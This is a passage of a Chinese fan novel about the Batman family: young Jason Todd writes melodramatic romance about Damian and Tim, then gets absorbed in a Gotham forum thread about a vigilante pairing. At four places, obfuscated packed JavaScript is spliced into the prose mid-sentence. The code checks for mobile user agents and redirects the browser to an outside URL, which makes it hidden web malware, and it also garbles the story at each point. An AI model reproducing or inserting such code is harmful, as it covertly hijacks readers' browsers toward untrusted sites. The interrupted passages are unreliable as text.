因为要兼顾上班和工作,两个哥哥一般下午才会待在家里;布鲁斯更忙,晚餐时才能看见他;至于阿福,拜托,一大家子都嗷嗷待哺等他照顾,别为难老人。 于是只要上学的杰森成了那个“看顾”我的人,即使我认为他才是那个需要照顾的人。 至于为什么我没去上学,嗯,我也不清楚,大概是他们还没想好要不要收养我吧。 白天,我跟着杰森到处“侦察”——其实就是偷窥达米安和提姆的各种日常互动,或者是在庄园里的边边角角探险。 晚上,杰森会悄悄溜进我的房间,掏出笔记本,向我展示当天的“创作成果”。 他实在是太高产了,让人甘拜下风,留下感动的泪水。有这样努力的太太,这个圈子迟早会火起来的! 他的系列作品列表如下: 《恶魔的宠儿:他在他掌心里》 (详细记录达米安给提姆递咖啡的场景。 【他递过那杯深色的液体,眼神危险而炽热。他知道他无法拒绝,他不能拒绝,他不会拒绝。这是他的囚笼,也是他的温床。】 我不明白这有什么联系,但考虑到我写文也是想到哪写哪,这不算是问题。) 《深夜的训诫:他为他颤抖》 (详细记录达米安批评提姆失误的场景。 【他站在他面前,目光如刀。“你知道错在哪里吗?”他的声音低沉,带着某种压抑的怒意,以及潜藏其下的。他咬着唇,点头。他伸出手——不是预想中的惩罚,而是于他脸颊上的轻抚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454786|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “下次,没有下次。】) 《雨夜的等待:他不归,他不睡》 (记录某天提姆外出办事晚归,达米安在书房等他的场景。最难绷的一集! 【雨打在窗户上,像谁在哭泣。他站在窗前,手中的咖啡早已凉透。时钟指向凌晨两点,而他还没有回来。他攥紧拳头,指甲嵌进掌心。他在担心——不,他在恐惧。恐惧那个占据了他全部思绪的人,从此消失在他的生命里。】 明明杰森不知道他们是义警,但还是脑补出了生死危机,只能说狗血还是太超前了。) “……杰森,我真是求你了……” “嗯?” “你老实告诉我。” “什么?” “你最近是不是偷偷看了什么奇怪的小说?” 杰森的脸腾地红了。 “……就……就偶尔……在布鲁斯的藏书室里……翻到过几本……” “什么书?” 杰森的声音越来越小:“《简·爱》《傲慢与偏见》《理智与情感》……还有一本叫《五十度灰》的,还没看完……” 我看这《傲慢与偏见》和杰森也是一对苦命鸳鸯啊,哪个世界都会出现呢。 我想起主世界的布鲁斯——那个在蝙蝠洞书架最上层放着全套经典文学、偶尔会在失眠夜读两页、被迪克吐槽“B你是不是在装深沉”然后一看发现名著壳子里夹着最新款漫画的布鲁斯·韦恩。 原来这个世界的布鲁斯,还是保留了爱看书的习惯。 但是,但是,但是! 就不能看些正常健康一点的吗!? “啊呀好深奥啊,难怪你写的文字很有意思的样子。”我打了个哈哈,装作不知道。 “你有没有想过......把这些发表出去?给其他人看看?” 杰森愣住了。 “发……发表?” “对啊。”我一本正经地说,装作很崇拜他的样子,“我觉得你写得挺好的呀,说不定有人愿意看呢。” 杰森的耳朵红得要滴血。 “你别开玩笑了……” “我没开玩笑。”我看着他,“真的挺好的,我听说网上有很多人都会发出去呢!你写的好也可以啊。” “真的吗?”他挠挠头,“我都不知道……” 我话锋一转。 “——就是,你可能对达米安和提姆的关系,有一点点误解。” 杰森不服气:“什么误解?我亲眼看见的!亲耳听见的!亲自记录的!” “那你有没有想过,万一他们之间的关系,不是你想的那样?” 杰森皱眉:“那是什么样?” 嗯…… 他们是兄弟(划重点)。虽然不是血缘上的,但他们是家人。 以我对达米安的了解,他对待提姆的方式,所谓的“控制”,可能是他唯一擅长的、表达关心的方式——控制、要求、高标准、严要求,但背后是他能给出的全部信任和依赖。 而提姆欣然接受这种方式,也不是因为被驯服,而是因为他理解了达米安——理解了那个从小在刺客联盟长大、不懂什么是柔软、只会用锋利来保护一切的孩子。 这些话,杰森现在听不进去,也不会理解的。 有些事,得他自己看见。 可是,真的要打破一个未来大手子的美梦吗…… 没了他,我吃什么啊? 8. 第 8 章 改变,准确来说是我的动摇发生在一个普通的时间。 那天下午,难得的好天气,阳光从走廊的高窗斜斜切进来,在深色的木质地板上画出一道道金色的琴键。 杰森和我照例蹲在走廊转角的那盆绿植后面。 那盆绿植已经被我们抠出了一个永久性的凹陷,我是指它的树干——或者说,我怀疑杰森每天晚上都会来给它浇水施肥,就为确保它枝繁叶茂、遮人耳目,好躲过阿福的数落。 “嘘——”察觉到什么的杰森竖起一根手指,眼睛死死盯着走廊尽头,呼吸都压到了最低。 我闻着他身上的薯片味,没注意到外面的动静。这家伙连蹲点都不忘带零食,也不分我点!还能不能愉快地玩耍了? 脚步声从远处传来。 不紧不慢,一前一后。 达米安走在前面,步伐稳健得像在丈量土地。提姆跟在他身后半步的位置,手里还拿着平板,低头看着什么——我怀疑这家伙就算被绑架了,第一反应也是先把邮件发完。 社畜这一块。 杰森的呼吸突然急促起来。他一只手按在我肩膀上,五指张开,像一只准备扑食的猫。 我把他爪子拍开,他都没反应。 达米安和提姆走近了。 走到转角处时—— 大概也许是没看路导致的,提姆的脚尖绊了一下地毯的边缘。 就那么一下。 他的身体猛地前倾,平板从手里滑落,时间在那一刻像是被谁按下了慢放键。 然后—— 达米安动了。 他的速度快得不像人类。左手一伸,直接揽住提姆的腰;右手已经不知什么时候护住了提姆的后脑勺。整个人像一堵墙一样接住了他,纹丝不动。 平板落在地上,屏幕朝下,发出一声闷响。但没人去捡。 提姆整个人被拽进达米安怀里,鼻尖几乎撞上达米安的下颌。他的眼睛微微睁大,睫毛颤了颤,像是还没反应过来发生了什么。 达米安低头看他。 阳光从高窗落下来,正好照在两个人身上。达米安的黑发被镀上一层暖金色的光,那双绿眼睛低垂着,睫毛的阴影落在提姆的脸颊上。 提姆抬头,湛蓝的眸子里有疑惑、震惊与羞恼。 他的耳朵已经红了。从耳尖开始,慢慢蔓延到耳廓,一片正在盛开的绯红。 两个人之间的距离,近得我能看清提姆瞳孔里达米安的倒影。 杰森的手不知道什么时候又按上了我的肩膀,这次是两只手,指甲都快掐进我的肉里,疼得我龇牙咧嘴。他的呼吸已经停了——我怀疑他现在比达米安和提姆加起来还紧张。 一秒。 两秒。 走廊里安静得能听见灰尘落地的声音。 以及杰森怀里因为捏的太紧而发出清脆响声的薯片。 然后达米安松开手,面无表情地后退了半步。他弯腰捡起地上的平板,在提姆的衣服上蹭了两下(杰森事后坚称那是“擦拭提姆的衣服”而不是“擦平板”,对此我呵呵一笑),递回去。 “走路看着点。”声音平静得像在说今天天气不错。 提姆接过平板,耳朵的红还没褪。 “……谢谢。” 声音很轻,轻到像是怕惊动什么。 两人继续往前走。达米安恢复了不紧不慢的步伐,提姆重新跟在他身后半步的位置。一样的配置,一样的位置,仿佛什么都没发生过,一切不过是我的幻觉。 像刚才那个只持续了两秒、却仿佛凝固了整个走廊阳光的瞬间,只是我的幻梦。 杰森终于呼出了那口气,将碍事的薯片扔给我。 他的手指还在发抖,脸上却是狂喜的沉醉。 “你看到了吗……”他的声音气若游丝,像刚从水里被捞上来,“你看到了吗你看到了吗你看到了吗……”他像是溺水之人拼命抓住救命稻草,只为从我嘴里听见一个确切的肯定。 我面无表情地把他的手指从我的肩膀上掰开。 “看到了。”又如何呢? “那一幕……”杰森深吸一口气,像是在组织语言,又像是被震撼到词穷,“那不是在扶人。那是在——那是在接住他的整个世界!!!” 我看着达米安和提姆消失的背影。 说实话。 虽然我知道他们大概率只是在执行蝙蝠家的本能反应——队友遇险,伸手去捞,顺便护住后脑勺,这是基本操作。 虽然我业不明白,按照提姆的身手真的反应不过来吗?又或者干脆更进一步,凭借他无视场合都能工作的能力,真的会被小小的地毯绊倒吗? 要说没可能,那也不一定,大概是我想多了 但刚才那一幕,配合那个光影,那个构图,那个距离,那个对视,那个耳朵红—— 确实有点好嗑。 哇—— 虽然知道不是真的,但是我还是忍不住偷偷吃一口,毕竟近距离看CP互动实在是太爽啦!就算不是我产品都要夸一句美味! 杰森松开手,疯狂地在笔记本上写字: 【紧急追加!今日重大发现!恶魔与提姆在走廊转角上演惊天一幕!提姆摔倒!恶魔出手! ——两人相拥!零距离!整整两秒!提姆脸红!恶魔的眼神——那是占有欲!那是心疼! 那是“你敢受伤试试”的警告!这是实锤!铁证如山!无可辩驳! 米提是真的!】 我不可置信看着他写下这一行字。 不是,有没有可能,那是蝙蝠家族训练出的本能反应。任何一个人在队友遇险时都会这么做,就连我这个战五渣也会保护队友的。 达米安护住提姆的后脑勺,从资本家的角度(就算是从封建奴隶主的角度)来说,是因为他脑子里装着全哥谭最值钱的情报,摔坏了麻烦。 而提姆脸红,完全是因为一个十九岁的青年被两个小孩子全程围观了丢脸瞬间,换谁都得脸红。 是的,我不信他们看不穿杰森和我等同于无的拙劣伪装,怎么想都是他们的默许,才让杰森在盆栽后面蹲了这么久都没被达米安拎起来收拾一顿。 但我没说。 因为——我居然也觉得有一点点好嗑怎么办?! 不行不行,绝对不能被杰森带偏了,不然以后我怎么面对提姆他们!以后一看见提姆和达米安同框就自动脑海里就自动浮现“炽热目光”和“拆吃入腹”该怎么办!? ———— 那天晚上,杰森照常又溜进我的房间。而我已经习惯,甚至悲哀地等着他的新作助眠,心里对那个笔记本隐隐生出了几分期待。 这次瞪着两个熊猫眼的他带来的不是笔记本,而是厚厚一叠纸。 “你看!”他满意地把纸摊在我面前,从上到下捋了一遍,“我整理了一下这几天写的——你看这个开头——” 我怀着说不清道不明的情感低头看去。 纸张最上方写着一个标题: ——《囚鸟:霸道恶魔轻点爱》 天哪……好正宗的古早味! 【他第一次见到他,是在一个雨夜。 那时他还不知道,这个被雨水打湿的少年,将成为他此生无法逃脱的劫。 十九岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454787|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的他,已经习惯了掌控一切。 十六岁的他,以为自己只是来寻求庇护。 他不知道,从那一天起,他的命运就和这个危险的恶魔紧紧缠绕在一起。 想挣脱。 却早已不能。 ——因为爱,是最温柔的囚笼。】 我看完,抬起头,两只眼睛大大地睁着。 杰森正紧张地盯着我,双手攥着像等待文学评论家宣判死刑的新人作家。 不是,上次见到这样的风格还是在流行“当你”文学的时候——哦,真算起来这种古早霸总文还是更老资历一些——它们的主角也大多数时候是我们的哥谭王子布鲁西。 嗯,后来蝙布风头太盛,基本上布鲁斯的角色就从甩支票的霸总变成甩支票的小白花了呢……只能说文□□流的时效性还是太强了。 一念公嬷这一块。 “……杰森。” “嗯?” “如果哪天你当不了英雄了,可以考虑去写小说。”就凭他的产出速度,再怎么样肯定是饿不死的。 杰森愣住。“真的?”可是他也没说过要当英雄啊? “真的。”我非常认真地点头。“不过你要不再找找真相?” 杰森嗤笑一声。 “真相?我亲眼看见的就是真相!他们俩之间绝对有问题!你看不出来吗?那是爱情!虐恋!囚禁与救赎!控制与依赖!恶魔与他的小白兔——” 停停停,我忍不住打断他:“提姆是小白兔?” 杰森理直气壮:“在恶魔面前,谁都是小白兔!” 我想了想主世界那个能单挑十几个暴徒、能熬夜破解蝙蝠电脑密码、能和达米安对骂半小时不落下风的提姆·德雷克。 “……行吧。” 如果这也算是小白花的话。 ———— 深夜,我躺在床上,望着天花板,嘴角慢慢浮起一个笑。 这个世界有很多不一样的地方,但有些东西没变。 杰森还是那个杰森。正义感爆棚,保护欲过剩,永远相信自己在拯救世界——哪怕他的世界只是一个小小的韦恩庄园,哪怕他从没说过要做个大英雄。 他会写小说,写得还挺好。 就是题材有点……特殊。 我翻了个身。这一点我没有资格指手画脚,毕竟我写的也不是什么好东西,唯一不一样的是我开始创作的时候比现在的杰森大些而已。 想当年我也是文采斐然呐,能写出【“我会与你,见证每一个蝙蝠灯升起的夜。”“哥谭在上,我永不忘却。”】这样的语句,怎么不算是有灵气呢? 现在算是修为尽废,江郎才尽啦。 我想起杰森笔记本上的那些句子: 【他看着他,像看着此生唯一的星辰。】 ——然后用力摇头,告诉自己:那是兄弟情。 【他们之间,隔着一整个世界的误解,却只差一个拥抱的距离。】 ——继续摇头:兄弟情兄弟情兄弟情。 【他的手指抚过他的脸颊,像抚过最珍贵的瓷器。】 …… …… ——等等,这个好像确实有点…… 我猛地坐起来,用被子蒙住头,在床上打滚。 不行!艾格尼斯·巴贝尔,你知道达米安和提姆是什么关系。他们是兄弟!兄弟!虽然达米安的表达方式比较……特殊……但那是因为他是达米安!不是因为他爱提姆! ——不对!“爱”这个词本来就可以有很多种解释…… 不不不不不!不对! ——杰森有毒! 9. 第 9 章 杰森蹲在韦恩庄园的闲置客房里,面前摆着一台不知道从哪个角落翻出来的旧笔记本电脑。这里除了阿福会定期打扫,一般不会有人来,作为他的“秘密基地”再好不过,他连艾格尼斯都没告诉! 屏幕的光映在他脸上,衬得那双熬夜熬得发红的眼睛格外瘆人。 此刻如果有人路过——比如达米安——一定会以为这孩子在浏览什么非法网站。毕竟他的表情实在太鬼鬼祟祟了,活像一个正在学习如何制作炸弹的恐怖分子。 但实际上,他在做一件更危险的事。 ——他在上网找同好。 “我就不信了。”杰森喃喃自语,十指在键盘上敲得飞快,“整个互联网,就没有一个人认为米提是真的?” 一群没品的东西!尤其是艾格尼斯,他都将证据摆在他脸上了都不为所动,完全就是一块石头。 吃不了细糠是这样的。 但艾格尼斯那句“你可以发到网上去看看”像一颗种子一样种在了他脑子里。一开始他是拒绝的——毕竟他那可是“证据集”,是“揭露黑暗豪门真相”的严肃文学,怎么能随随便便发到网上呢? 但后来他想通了。 如果网上有很多人也发现了达米安和提姆之间的“不对劲”,那他岂不是找到了志同道合的战友?岂不是离打败达米安的目标更进一步? 如果网上没什么人发现,那他岂不是第一个揭露真相的人? 无论哪种结果,都不亏啊。 于是杰森兴冲冲地在哥谭最大的论坛注册了一个匿名账号,开始搜索。 搜索关键词:“达米安·韦恩提姆·德雷克”。 搜索结果:0条。 “……?” 杰森皱眉,换了个关键词:“韦恩长子次子关系”。 搜索结果:几条财经新闻,说的是韦恩集团的股权结构。零星还有几条花边新闻,不过大多是关于布鲁斯的,只是在介绍他时偶尔提到几句他的孩子。 “谁要看这个啊!!!” 他又换了几个关键词:“恶魔童养媳韦恩”、“哥谭豪门秘辛”、“达米安控制提姆”。 搜索结果:一片空白。 杰森坐在那里,盯着屏幕,感受到了前所未有的挫败感。 “为什么?!”他抓狂地抓头发,“这么明显的虐恋情深,全世界居然没人发现?!你们都是瞎子吗?!” 他不死心,又搜索了“提姆·德雷克被控制”、“达米安·韦恩暴君”——依然什么都没有。 甚至连一个讨论帖都没有。 和韦恩这个话题相关的全是什么“哥谭玫瑰”“哥谭王子”之类的,要不然就是和不知名角色的配对!最火的那个还是蝙蝠侠,这些人难道不知道布鲁斯最讨厌的就是蝙蝠侠了吗?他不止一次在媒体前公开说过的! 杰森颓然地靠在椅背上,望着天花板,感觉自己像是发现了新大陆却没人相信的哥伦布。 “这个世界的审美已经完了。”他痛心疾首地宣布。 就在他准备放弃的时候,他的目光无意间扫过搜索框下方的一个推荐链接。 【热门板块:哥谭·同人·义警专区】 “义警?”杰森挑了挑眉。义警是哥谭不得不品鉴的常驻景点,其常见度差不多等同于鱼和水一起出现的频率——离开了哥谭的义警当然还是义警,但就像鱼离开了水,绝对不会太好。就像他这样的人都遇见过蝙蝠侠,还撬了他的轮胎。 唉,肯定是黑漆漆的大蝙蝠和布鲁斯的CP挤占了米提CP的生存空间!这个蝙蝠侠怎么这么坏啊,以为炒CP就可以和布鲁斯在一起吗?想都不要想! 话虽如此,他还是鬼使神差地点了进去。 页面加载出来,杰森的眼睛瞬间瞪大。 嚯!这个板块的热度比他想象的高多了。最新帖子几分钟前还有回复,置顶帖的浏览量动辄六位数。 “哥谭人这么喜欢看义警的吗?”一天天的看不够。杰森嘟囔着往下翻。 然后他停住了。 一个帖子赫然出现在他眼前,标题是—— 【理讨】为什么“刀剑与飞鸟”CP就是神!? 杰森愣住了。 “刀剑与飞鸟”?什么鬼? 他看了一眼板块名称,确认自己没走错。义警专区,没错。 所以义警也有CP? 杰森的嘴角抽了抽。他本来想直接划走——他对义警又没什么兴趣,他的心里只有米提——但那个什么“神仙CP”像磁铁一样吸住了他的目光。 “我倒要看看,什么CP能比我家的更神仙。” 他深吸一口气,点了进去。 ———— 【理讨】为什么“刀剑与飞鸟”CP就是神!? 夜刃和红雀,我真的嗑生嗑死…… 好吧我也是最近才入坑的,蝙蝠系这对也太好嗑了吧! 明显夜刃是那种“全世界我只对你一个人例外”的设定,红雀是“表面顺从骨子里倔得要死”的设定,嗑死我了…… 1L 夜刃激推bot 怎么说呢,就很绝(捂嘴)谁不知道我们哥谭夜刃啊?天天冷着张脸,打起架来跟不要命似的,怎么可能有人受得了他…… 但红雀就是受得了(尖叫)而且红雀还治得了他! 这不是命中注定是什么!!! 求让我更加爱这一对的理由! 2L 看热闹不嫌事大 ??? 楼主你这是刚入坑吧?出道几年夜刃和红雀的糖可太多了好吗,随便翻翻都够你嗑一个月 我们哥谭美帝就是有实力呀~ 3L 匿名 ls不对吧,哥谭美帝怎么着不该是蝙布吗?别忘了蝙蝠系义警是谁带起的头!(生气) 4L 匿名 哟,还有老资历() 给老资历跪了呢 5L 夜刃激推bot 我说,谁是美帝的争论放一边行不行 看看场合好吗,要打去线下真实啊 6L 匿名 这楼不是讨论夜刃和红雀的吗,怎么扯到蝙布了 7L 匿名 唉,蝙蝠系义警粉丝不得不品的一环,老资历和小资历的斗争 都嗑蝙蝠系CP了让让她吧 8L 夜刃激推bot 咋了(翻白眼)到处ky不让说? 要我说,蝙布好吃,我们剑雀也不差!都吃! 9L 哥谭今晚没爆炸 拜托各位嗑之前先补补课好不好,咱们最开始吃剑雀不就是为了蝙布能有个并肩作战的代餐吗?只是后来两对都卖的太大了,细分赛道才导致后来分家了 说起来,真·老资历还是要一起嗑的! 10L 匿名 这对的糖点太多了,楼主你才看到冰山一角 什么“红雀受伤夜刃暴走连破六个窝点”啊 什么“红雀靠着夜刃肩膀睡着夜刃一动不动坐了两小时”啊 什么“夜刃被质疑红雀公开力挺”啊 随便一个都能嗑一年好吗! 11L 匿名 等等,“一动不动坐了两小时”? 那很爱了。 12L 蝙蝠侠的腰不是腰 那很爱了×1 13L 蝙蝠侠今天笑了吗 那很爱了×2 14L 匿名 那很爱了×3 (保持队形) 15L 刀剑与飞鸟老吃家 破坏队形! 那红雀很能睡了(doge) 16L 匿名 确实,这对的糖点多得离谱,但最戳我的还是那种“宿命感”。 夜刃那个身手,一看就是从小练出来的。红雀呢?一看就是富家子弟的气质,本来可以过安稳日子,却选择站在黑暗中。 这两个人原本是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454788|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个世界的人,却因为同一个信念走到一起——这不比那些狗血偶像剧好看一万倍?! 17L 蝙蝠车的备用轮胎 等等,从小??? 真的假的? 18L 匿名 只是有人猜的啦,没有实锤。 但夜刃那个打法确实很凶,不像普通义警,估计是和黑蝙蝠一样的超强战力 19L 理性就是要配控制欲 管他哪来的,好嗑就完了! 刀剑与飞鸟是对的! 20L 今晚天台有蝙蝠吗 刀剑与飞鸟是对的×1 21L 匿名 刀剑与飞鸟是对的×2 22L 匿名 刀剑与飞鸟是对的×3 23L 匿名 刀剑与飞鸟是对的×4 24L 美帝姐就是拽 刀剑与飞鸟是对的×5 别问,问就是蝙蝠系最好嗑的搭档! 25L 匿名 等等没人觉得“刀剑与飞鸟”这个CP名本身就很绝吗 他们简直是彼此的半身!和硝烟与玫瑰一样的绝美配对 26L 哥谭爱情观察员 楼上你清醒一点! 这是CP帖,不是诗歌鉴赏帖啊喂! 27L 匿名 可是真的很戳(小声) 28L 纯爱战士应声倒地 我也觉得…… 夜刃那种“全世界我只在乎你一个人”的设定 红雀那种“我懂你所有的沉默”的设定 这是什么顶级双向奔赴(哭) 29L 匿名 停停停,宝子们,你们有没有看过那个目击记录? 有人问红雀:“你和夜刃是什么关系?” 红雀还没回答,夜刃就从后面走过来,说:“搭档。” 然后看了一眼红雀,补充:“唯一的。” 唯一的!!! 他特意强调“唯一的”!!! 这不是占有欲是什么!!! 30L 纯爱战士应声倒地 是吗,我觉得是“宣示主权”啊 夜刃:他是我的搭档,唯一的,懂? 31L GCPD值班摸鱼中 那“再有下次我就把你锁在基地”算什么? 32L 匿名现在 算“现在不是白天,你确实可以想想” 33L 匿名 夜刃:(内心OS)我很担心你,但我说不出口,所以我说要把你锁起来(嘴上)锁起来! 红雀:(内心OS)他好爱我(嘴上)做梦呢! 34L 匿名 ??? 你们怎么开始逐帧分析了 这楼不是安利楼吗 35L 小丑今天发疯了 安利?还需要安利吗? 卖成这样不吃是啥子吧 36L 匿名 是 37L 收藏等于看过 是的! 38L 谜鹅99好吗 笑死,楼主已经被糖淹没了 39L 夜刃激推bot 我没被淹没! 我只是在补课…… 好吧这对确实有点好嗑过头了(小声) 40L 每天高强度冲浪 破防了楼主 41L 匿名 欢迎加入刀剑与飞鸟大军 42L 匿名 所以说到底 夜刃和红雀到底是不是真的啊(真诚发问) 43L 我不是斯托卡 真不真不知道 但好嗑就完了(笑 44L 匿名 而且蝙蝠系义警本来就不怎么曝光身份 夜刃和红雀算是比较高调的了(指经常被目击一起行动) 这不是爱是什么?! 10. 第 10 章 45L 刀剑与飞鸟就是王道 而且你们有没有发现 夜刃每次出现在公众视野,身边几乎都有红雀 单独行动的次数屈指可数 而红雀出现的时候,十次有八次是在帮夜刃 他们的存在感,是通过对方体现的 46L 匿名 楼上你说得太好了(哭) 47L 匿名 这就是“你是我存在的意义”吗 48L 贝恩什么时候下线 这就是“没有你,我什么都不是” 49L 匿名 你们够了啊喂! 我还要上班呢! 被你们搞得想翘班去补糖了! 50L 蝙蝠侠的腰不是腰 说起来刀剑与飞鸟的同人文你们看过吗 论坛同人区有好多 51L 匿名 对对对!质量超高 尤其是《雨夜》 短小精悍但刀刀见血 52L 匿名 求! 53L 吃遍哥谭所有CP 亲亲这边推荐超级阳光温柔的《予我爱意》呢! 吃过的都说好! 54L 匿名 是的是的!(激动) 超级美味(星星眼) 55L 匿名 话说回来 夜刃这些义警到底是怎么看出来好看的啊 每次都遮得严严实实的,CP粉想看颜都不行 好想看他长什么样啊 56L 内裤外穿闹麻了 蝙蝠系的都这样 遮得越严实越神秘 越神秘越帅 57L 谜语人今天倒霉了吗 靠气质硬撑 58L 今天也在冲浪 靠“站在那里就很帅”撑 59L 匿名 楼上正解 嗑CP不就是自己喜欢吗 相信我,覆面系是有覆德的,他们这辈子都不会摘下面具,不必担心啦 60L 蝙布不官宣不改名 所以结论是 刀剑与飞鸟确实好嗑 属于那种“越嗑越上头”的类型 61L 人生甚苦所以嗜甜 夜刃×红雀 好像也没什么不对嘛 刀与鸟的爱情故事呢 62L 匿名 哥谭需要义警 义警需要搭档 搭档需要…… 63L 匿名 需要彼此(接上) 64L 匿名 搭档就是搭档啊,搭档是不能成为恋人的! 我的意思是,能不能一步到位直接成为妻子啊! 65L 今天也在冲浪 刀剑与飞鸟就是 一个不知道怎么表达在乎 一个能读懂所有沉默 然后互相守护的故事 66L 匿名 妈呀这楼怎么突然哲学了 67L deadline人间之神 所以说 这对CP之所以好嗑 是因为他们让彼此变得更完整啊! 扭曲的爱意固然美味,但是健康的关系才是永恒! 68L 清水文里找车车 那确实 夜刃有了红雀之后打法都没那么不要命了 红雀有了夜刃之后也更敢往前冲了 这就是“因为有你,我变得更好”吧 69L 匿名 楼上你在说什么感人发言 70L 匿名 但她说得对(抹泪) 71L 键盘自己会码字! 所以楼主现在还觉得这对只是“有点好嗑”吗 72L 夜刃激推bot …… 好吧我承认 我回去又把那个目击记录合集看了一遍 然后现在在床上打滚 你们满意了吗(哭) 73L 匿名 满意了,请支持我们刀剑与飞鸟!!! 74L 匿名 非常满意 75L 蝙布魂兮归来快发糖 欢迎来到夜刃×红雀的绝美爱情宇宙 76L 匿名 刀剑与飞鸟是对的! 双标也是对的! 唯一的搭档! 更对! 77L 匿名 刀剑与飞鸟是对的! 78L 哥谭永远の骄傲 刀剑与飞鸟是对的! …… 89L 匿名 刀剑与飞鸟是对的! 90L 匿名(找同好版) 新人报到!刚入坑刀剑与飞鸟,求问有没有推荐的同人文?最好是虐中带甜甜中带刀刀完还甜的那种! 顺便问一句,“刀剑与飞鸟”这个CP名是谁起的?太绝啦! …… ———— 杰森全程默不作声地盯着屏幕,手指悬在键盘上方,久久没有落下。 他看完了整栋楼,从1楼到90楼,从“那很爱了”的队形到“刀剑与飞鸟是对的”的复读,从目击记录到同人推荐,从逐帧分析到哲学升华—— 他都看完了。 一字不漏。 此刻他盘腿坐在椅子上,双手抱着膝盖,表情是一种介于“我悟了”和“我完了”之间的微妙状态。 “……原来如此。”他喃喃自语,世界观在短短几个小时里经历了破碎到重塑的新生。 原来这个世界上,真的有一群人,用他完全没想到的方式,在和他干着差不多的东西。 他们的语言他们的热情他们的分析!和他一点点捕捉米提线索有什么区别!他们的产出一篇接一篇,仿佛永远不会枯竭的灵感之泉 杰森感到一种前所未有的冲击和感动。 不是知识上的——那些什么“锁死”“按头”“刀糖混合”之类的词,他看几遍就记住了。 真正冲击他的,是那种氛围。 那种“你不是一个人”的氛围,那种“全世界都在为同一件事尖叫”的氛围,那种——归属感。 他从来没有过这种感觉。尤其是艾格尼斯一点认同感也不给他,非常扫兴!看看网上的人,说话又好听,个个都是人才,他可喜欢啦!再看看艾格尼斯——唉—— 在街头的时候没有,在韦恩庄园也没有。 但现在,对着一个满是陌生ID的帖子,他居然觉得——自己被理解了! 太对啦,CP就是要一起嗑才有乐趣! 接下来的几天,杰森一有时间就溜进这房间,像一块丢进海里的海绵,疯狂地吸收着论坛上的一切。艾格尼斯虽然对他突然不缠着自己洗脑有些困惑,但也乐得清静,天天吃吃喝喝睡睡。 杰森在网站里注册了账号,收藏了版面,把义警专区同人区的热门帖子翻了个遍,同时不忘仔细鉴赏时兴的大热同人文,在或华丽或诙谐或深沉的文字里徜徉。 等他回过神来,他已经能熟练地使用各种黑话,能准确地说出每篇经典同人文的作者和看点,甚至摸清了几个“大佬”的更新规律。 他成了一个彻头彻尾的圈内人,可喜可贺,可喜可贺。 速度快得连他自己都吓了一跳。 但每当夜深人静,他关掉电脑,躺在床上的时候,一种奇怪的感觉就会涌上来。 愧疚,深深的愧疚。 当然不是对达米安和提姆CP的愧疚——他坚信自己观察到的“真相”没有错,而 愧疚是对他自己的。 他明明有“一手资料”,明明每天都在“现场”,明明可以嗑“正版”的米提—— 却跑去嗑一对见都没见过的义警当“代餐”。是的,代餐,他只能用这个略带轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454789|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视的词语定义。没办法,米提是他的本命,如果不是实在冷门没饭吃,谁会愿意吃代餐呢? 这算个什么事? “不行。”杰森在又一个深夜突然清醒,恨铁不成钢地对自己说,语气严肃得像在宣誓,“我不能这样。” “米提是我的初心,米提才是真的。刀剑与飞鸟再好,也只是……只是……” 他说不下去了,一切都只是他的托词,他骗不了自己。 因为剑雀,确实很好。 好到他每次点开论坛,手都会不由自主地往那个收藏夹里戳。 “……只是代餐。”他终于把话说完了,声音小得像蚊子叫,“对,代餐。我嗑刀剑与飞鸟,只是为了给米提积累经验。” “等我把技术学到手,等我成为一代大手子,我就回去建设米提。”顺便还能拉一批人和他一起嗑。 他点了点头,仿佛这样就能说服自己。 “这不是背叛,这是——这是曲线救国。” 于是杰森·陶德心安理得地继续嗑起了“刀剑与飞鸟”。 一边嗑,一边在心里给米提道歉。 对不起——我的米提我的初心我的本命我的一切,等我学成归来,一定给你们最好的粮!等我! ———— 我发现自己陷入了一个哲学困境。 这个困境的根源,是杰森。 最近几天,杰森居然没有来烦我。 